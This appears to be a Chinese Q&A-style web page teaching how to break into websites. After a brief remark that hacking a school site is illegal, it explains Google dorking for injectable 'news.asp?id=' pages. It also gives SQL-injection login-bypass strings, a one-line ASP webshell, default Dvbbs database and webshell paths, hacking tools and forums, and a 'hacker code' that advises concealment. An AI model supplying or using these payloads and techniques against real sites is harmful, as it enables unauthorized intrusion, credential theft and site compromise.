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可以入侵学校教务处网站嘛?
这个明显不可以啊,私自入侵学校教务处网站涉嫌违法行为(骇客)。
有问题需要解决的,遵循合法途径解决。
请问怎样快速查找可以入侵的网站呢?
用明小子软件打开谷歌·选高级搜索·每页100条·简体中文·搜索关键字为news.asp?id=100 这个100可以随便设置数字搜索内容选 仅的网页网址中然后搜索吧·每页大概都能搜出来5-6个有注入漏洞的
常见的免费的黑客网站有什么?
常见的黑客网站:中国黑客基地、HEIKE、华夏黑客联盟、中国黑客、黑客联盟、红色黑客联盟、qq黑客基地等等。
黑客守则
1. 不恶意破坏任何的系统, 这样作只会给你带来麻烦。恶意破坏它人的软件将导致法律责任, 如果你只是使用电脑, 那仅为非法使用。 注意:千万不要破坏别人的文件或数据。
2. 不修改任何系统文件, 如果你是为了要进入系统而修改它, 请在达到目的后将它还原。
3. 不要轻易的将你要 Hack 的站点告诉你不信任的朋友。
4. 不要在 bbs/论坛上谈论关于你 Hack 的任何事情.
5. 在 Post 文章的时候不要使用真名。
6. 入侵期间, 不要随意离开你的电脑。
7. 不要入侵或攻击电信/政府机关的主机。
8. 不在电话中谈论关于你 Hack 的任何事情。
9. 将你的笔记放在安全的地方。
10.读遍所有有关系统安全或系统漏洞的文件 (英文快点学好)!
11.已侵入电脑中的帐号不得删除或修改。
12.不得修改系统文件, 如果为了隐藏自己的侵入而作的修改则不在此限, 但仍须维持原来系统的安全性, 不得因得到系统的控制权而破坏原有的安全性。
13.不将你已破解的帐号分享与你的朋友。
14.不要侵入或破坏政府机关的主机。
15不得盗刷任何人的银行卡及网银否则本网站官方会立刻摧毁你的钓鱼台以及跳台将付直接的法律责任
入侵技术
(Invasion of technology):
漏洞注入和发掘未知批量漏洞 (菜鸟举一反三最新版)
网站各类入侵综合技术(脚本,跨站,SQL注入,旁注,网站结构分析……)
网站渗透技术之注入入侵WEB
网站ASP程序批量之服务器挂马
入侵附近用户或者局域网电脑之菜鸟精华版
捕捉细节批量数据库入侵Dvbbs7.0 (菜鸟举一反三版)
利用Autorun.inf与脚本结合实现另类入侵
如何入侵指定网站!
首先,观察指定网站。
入侵指定网站是需要条件的:
要先观察这个网站是动态还是静态的。
如果是静态的(.htm或html),一般是不会成功的。
如果要入侵的目标网站是动态的,就可以利用动态网站的漏洞进行入侵。
Quote:以下是入侵网站常用方法:
1.上传漏洞如果看到:选择你要上传的文件 [重新上传]或者出现“请登陆后使用”,80%就有漏洞了!
有时上传不一定会成功,这是因为Cookies不一样.我们就要用WSockExpert取得Cookies.再用DOMAIN上传.
2.注入漏洞字符过滤不严造成的
3.暴库:把二级目录中间的/换成%5c
4.’or’=’or’这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有:
’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’a’=’a
5.社会工程学。这个我们都知道吧。就是猜解。
6.写入ASP格式数据库。就是一句话木马〈%execute request("value")%〉 (数据库必需得是ASP或ASA的后缀)
比如:默认数据库,默认后台地址,默认管理员帐号密码等
8.默认数据库/webshell路径利用:这样的网站很多/利人别人的WEBSHELL.
/Databackup/dvbbs7.MDB
/bbs/Databackup/dvbbs7.MDB
/bbs/Data/dvbbs7.MDB
/data/dvbbs7.mdb
/bbs/diy.asp/diy.asp/bbs/cmd.asp
/bbs/cmd.exe
/bbs/s-u.exe
工具:网站猎手 挖掘鸡 明小子
入侵网站有多少种方法?
目前常用的网站入侵方法有五种:上传漏洞、暴库、注入、旁注、COOKIE诈骗。
1、上传漏洞:利用上传漏洞可以直接得到Web shell,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。
2、暴库:暴库就是提交字符得到数据库文件,得到了数据库文件我们就直接有了站点的前台或者后台的权限。
3.注入漏洞:这个漏洞是现在应用最广泛,杀伤力也很大的漏洞,可以说微软的官方网站也存在着注入漏洞;注入漏洞是因为字符过滤不严谨所造成的,可以得到管理员的账号密码等相关资料。
4、旁注:找到和这个站同一服务器的站点,然后在利用这个站点进行提权,嗅探等方法来入侵我们要入侵的站点。
5、COOKIE诈骗:COOKIE是上网时由网站所为你发送的值记录了你的一些资料,比如说:IP、姓名等。